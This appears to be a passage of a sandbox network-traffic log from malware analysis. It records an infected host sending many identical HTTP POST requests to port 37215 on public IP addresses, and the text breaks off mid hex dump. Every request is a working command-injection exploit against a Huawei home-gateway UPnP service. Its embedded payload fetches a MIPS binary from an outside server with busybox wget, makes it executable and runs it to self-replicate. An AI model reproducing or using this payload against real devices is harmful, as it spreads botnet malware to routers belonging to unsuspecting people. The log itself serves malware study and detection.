Jul 20, 2024 23:01:02.412965059 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	57418	41.212.179.177	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.412965059 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	41258	197.210.50.88	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.413578987 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	56066	197.77.202.247	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.413578987 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	54692	41.131.64.64	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.413579941 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	36104	157.31.140.76	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.413579941 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	53338	37.3.189.109	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.413579941 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	52980	197.195.106.45	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414136887 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	57054	197.77.31.163	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414136887 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	46280	197.241.150.191	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414136887 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	54792	157.47.87.238	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:01:02.414136887 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 